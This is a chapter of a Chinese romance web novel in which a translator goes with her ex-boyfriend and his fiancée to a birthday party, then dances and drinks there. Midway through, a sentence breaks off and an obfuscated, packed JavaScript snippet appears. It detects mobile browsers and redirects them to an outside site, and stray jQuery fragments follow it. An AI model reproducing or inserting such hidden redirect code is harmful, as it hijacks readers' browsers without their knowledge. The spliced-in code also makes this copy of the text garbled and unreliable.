看到屏幕上的消息，黎杏心里酸酸的，说自己在家。


    谢承并不清楚她家里的事，恋爱的时候，女友什么都乐于跟他分享，除了家庭。


    谢承：你没走成？


    他似乎猜到她的处境，不是不想走，只是走不了。


    黎杏盯着对话框若有所思，打了又删，心里想问他怎么还没睡，又觉得这话好像不太合适。


    黎杏：恐怕一时半会离开不了。


    所有事，她得重新计划。


    谢承：钱不用还了，三天后卡尔生日宴，你陪我去。


    黎杏：生日宴也需要带翻译？


    谢承：嗯，发位置，到时候去接你。


    黎杏正缺钱，没道理拒绝。


    三天后，一大早，她被语音通话叫醒。


    “我在楼下，给你半小时。”


    黎杏完全没睡好，脑袋懵懵的，顾不上对方是谁，含糊道：“太冷了……”


    恍惚中，她听到一声极轻的笑。


    黎杏慢慢醒过来，知道对方是谢承，咳了两声，正经道：“等我二十分钟。”


    她来不及化妆，毛衣牛仔裤，套了件白色大衣在外面，抓着头发，匆匆往楼下跑。


    生日宴要这么早？一般不都是晚上？


    车就停在小区门口，黎杏走过去，副驾驶的车窗降下，露出楚依依的脸。


    “黎小姐，早上好呀。”


    她愣了愣，扯出笑容：“你好。”


    车内香水味很好闻。


    黎杏坐在后排，她摸了摸脸，连层打底都没涂。


    “我叫楚依依，谢承说要接个人，没想到是黎小姐，你们是上次在医院认识的吗？”


    做诚实的人并不容易。


    为了不尴尬，黎杏扮出几分轻松的样子：“对，我还让谢总帮我介绍工作来着，没想到这么快就有着落。”


    “原来是这样。”楚小姐侧着脸，满眼都是握着方向盘的人，无所顾忌道，“你对黎小姐这么负责，就不怕人家看上你。”


    黎杏以为自己听错，忙给自己澄清：“楚小姐，你别误会，我对谢先生只有感激，没有别的心思。”


    “我知道啊，可是——”


    “楚依依，你话很多。”谢承冷不丁开口，态度淡漠，黎杏没想到女人一点不生气，甚至讨好地说道，“我不说就是了，是我不对。”


    喜欢谢承都遭罪。


    黎杏默默吐槽了句。


    前面的人像是听到她心里的话，俩人的视线在后视镜里撞上，黎杏匆匆收回，看向窗外。


    挣钱不容易，挣前男友的钱就更不容易，还得会演戏。


    车停在一家疗养院门口，黎杏知道这里，住在里面的老人都不一般，一年得百万起步。


    楚依依解开安全带，问谢承：“你确定我一个人能行？”


    “只是让你送个东西。”


    “那爷爷要是把我留下下棋，我不好应付。”


    “找个借口。”


    都见过家长了，黎杏觉得谢承应该陪对方一起。


    车重新启动，她小声问了句：“你不等她吗？”


    “不用。”


    “……”


    黎杏闭上嘴，肚子却不合时宜地响了声。


    她有点尴尬，出门连口水都没喝，冬天肚子又容易饿。


    心情也谈不上好，胃里就更难受。


    大衣的口袋里有颗糖，黎杏摸出来，撕开，含在嘴里。


    “想吃什么？”


    黎杏下意识说道：“我吃过了。”


    谢承平淡开口：“你不用骗我。”


    黎杏犹豫道：“你给我找活，我请你吃高记的米线可以不？”


    谢承毫不留情拆穿她：“你说你想吃不就行了。”


    店里人满座，黎杏点完单，两碗米线，一份煎饺，角落里正好空出来一张桌子。


    这家店是本地的老店，上大学的时候，她就经常来。


    两个人面对面坐下吃饭已经是很久之前的事，黎杏低着头，夹起一块煎饺送嘴里。


    “怎么不给自己加荷包蛋？”


    谢承拿起筷子，把荷包蛋放到她碗里。


    黎杏闷声吃掉，不给他解释。


    还是以前的味道，她满足了，眉眼舒展开，抬头问道：“你不吃吗？”


    “我在想你什么时候喜欢吃的香菜。”


    “口味会变的嘛，香菜真挺好吃的。”


    谢承直截了当问道：“选男人的口味也会变？”


    黎杏瞪大眼，愣愣地看了他好几秒，谢承从来就不会说这种风格的话，好听的直接的，让人脸红心跳的，他从来不说，即使在床上。


    “对、对啊，现在喜欢嘴甜会哄人的。”


    她眼神闪躲，避开他视线。


    “谈了几个嘴甜的？”


    谢承坐在对面，黎杏觉得自己在被审判。


    “五个。”她脱口而出，比划手掌，“一年一个，我喜新厌旧，容易烦。”


    “看出来了。”


    谢承垂下眼，不再问她。


    男人沉默或者不沉默的时候，黎杏都猜不到他的心思，没有任何事情能够挑起他的情绪。


    她过去的患得患失，大抵都来于此。


    生日宴是下午开始的，卡尔先生的别墅来了不少人。


    楚依依做了个头发换了身衣服过来，脱去风衣，里面是一条深色丝绒礼裙，和穿着黑色西装矜贵斯文的男人很是登对。


    卡尔先生的妻子语速很快，黎杏庆幸自己当年学小语种的时候比较认真，不至于在这种场合出糗。


    “卡尔夫人问两位是不是好事将近？”


    黎杏转述此句的时候，只看着楚依依，没有看谢承。


    楚依依望了眼谢承，对黎杏说：“你告诉卡尔夫人，不出意外的话，我跟谢承明年三月领证。”


    领证。


    黎杏呼吸乱了几秒，消化她听到的事实，但不管怎么消化，眼底还是没出息升起一股酸涩，转过头，保持着微笑，卡尔夫人却冲她意味不明地歪了下头，她心里一惊，觉得自己露了馅。


    卡尔夫人又问谢承：“谢先生跟楚小姐是怎么认识的？”


    黎杏正要开口，谢承用西语流利地说道：“在国外认识。”


    ……


    黎杏感觉自己的一颗心被飞来的箭刺穿了，原来他去国外认识了新的人。


    她抬起头问男人：“谢先生，原来会西语。”


    谢承语调无波：“只会一点。”


    把她当傻子耍。


    黎杏感觉右手又开始疼。


    怪不了别人，怪她自己，把不要脸当成勇敢，追求一个根本不爱自己的人。


    她怕情绪控制不住，借身体不适，去二楼的洗手间。


    过了一会，有人敲门：“是我。”


    卡尔夫人。


    黎杏擦了擦眼睛，确保自己看上去没有异常，拉开门。


    “舞会要开始了，方便来一趟我的房间吗？”


    卡尔夫人的房间很大，夫人从衣帽间挑出一条香槟金的小礼裙，抹胸，网纱下摆盖住脚踝，递给黎杏：“去换上。”


    “卡尔夫人，我不适合穿成这样。”


    “黎小姐，你很漂亮，舞会应该穿这样的衣服。”卡尔夫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17132812|196245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人勾起笑容，“难道你要拒绝我的好意？”


    卡尔夫人把黎杏按在化妆镜前，忽然俯下身在她耳边说道：“你喜欢谢先生。”


    “不是，我没有……”黎杏忙回过头解释。


    卡尔夫人看穿道：“放心吧，你那么难看的微笑只对着我，谢先生不会知道的。”


    黎杏觉得解释都变得苍白了。


    “卡尔夫人，你可以帮我保密吗？”


    “噢，miamor，你对我说出了实话，我们就是朋友了。作为朋友，我一定会保守秘密。”


    卡尔夫人给她化妆，挽起头发，两眼冒光地看着她：“我真想带你去马德里。”


    下一秒，卡尔夫人瞥见黎杏手臂上一道疤痕，微微凸出，颜色很浅，乍一看看不出来，仔细看，这道疤痕几乎绕了手臂半圈，像是抽打出来的，她皱起眉：“你这里怎么回事？”


    黎杏抬起手瞥了眼：“是不是很难看？要不我还是换件衣服。”


    “不，不明显。”卡尔夫人给她搭配了一件羽毛袖套，能够遮住疤痕，“这样很完美。”


    欢快的音乐响起，谢承看了眼腕上的表，已经二十分钟没见到人。


    他交叠着腿，慵懒地靠在沙发里，楚依依拎着裙摆走过来：“可不可以请你跳一支舞？”


    谢承撩起眼，目光落在楚依依身后的楼梯，黎杏侧身对着他，跟卡尔夫人缓缓走下来。


    香槟金礼裙衬得黎杏肤白胜雪，肩颈线条纤细柔和，网纱裙摆随脚步轻晃，漾着光泽。


    低挽的发髻垂着几缕碎发。


    她垂着眸，睫毛轻颤，眉眼间带着点不自在的羞怯，透着干净美丽的气质。


    楚依依以为是错觉，她看见那双一贯冷沉如冰的眼睛，闪过某种柔和的光。


    她回过头，黎杏正被卡尔夫妇挡住。


    谢承站起来，眼底情绪恢复如初：“我没心情，你找别人。”


    音乐切了一首，是那首经典的Sofia。


    黎杏得到卡尔夫人分给她的一块蛋糕，高兴地说了谢谢，正要用勺子吃，走近的一道身影挡在她侧面：“黎翻译，你有二十分钟不在我身边。”


    声音从头顶落下来，黎杏看了眼谢承，勺子插在蛋糕上，一脸懂事乖巧地要放回去。


    她的手腕被握住：“我没让你不吃蛋糕。”


    黎杏皱了皱眉：“你不松手我怎么吃？”


    谢承收回手，插回兜里，目光盯在她脸上。


    有人走过来，弯腰伸手，邀请黎杏跳舞，叫了个很甜心的称呼，谢承看见她脸红了，心里升起一股火。


    “黎杏。”他叫她名字，“你是我雇来的翻译，我没允许你跟别人跳舞。”


    工作时间，要听老板的话。


    黎杏对男人笑笑，说了抱歉。


    她心情愈发糟糕，开始专注吃东西，谢承要她寸步不离，她紧跟在他身边，挣钱嘛，不寒碜。


    不少人敬谢承酒，连带着她这位翻译一起，黎杏正想大醉一场，爽快利落地一杯杯吞下去。


    不知道谁举报这里有聚众赌博，警察跑过来，发现是个误会。


    卡尔先生热情好客，留几位警察吃饭，江晏义正严辞拒绝道：“不必了。”


    他转头看到喝醉酒的女人，没想到她会在这里，江晏当着众人的面走过去：“黎杏？”


    黎杏酒品很好，虽然有点醉，不吵不闹，莞尔一笑：“江晏，你怎么来这里？”


    “我以为你离开江城了。”


    “没有，有事走不了，还想找你帮忙——”


    江晏伸手要扶住她，没碰到，有人把黎杏揽到怀里。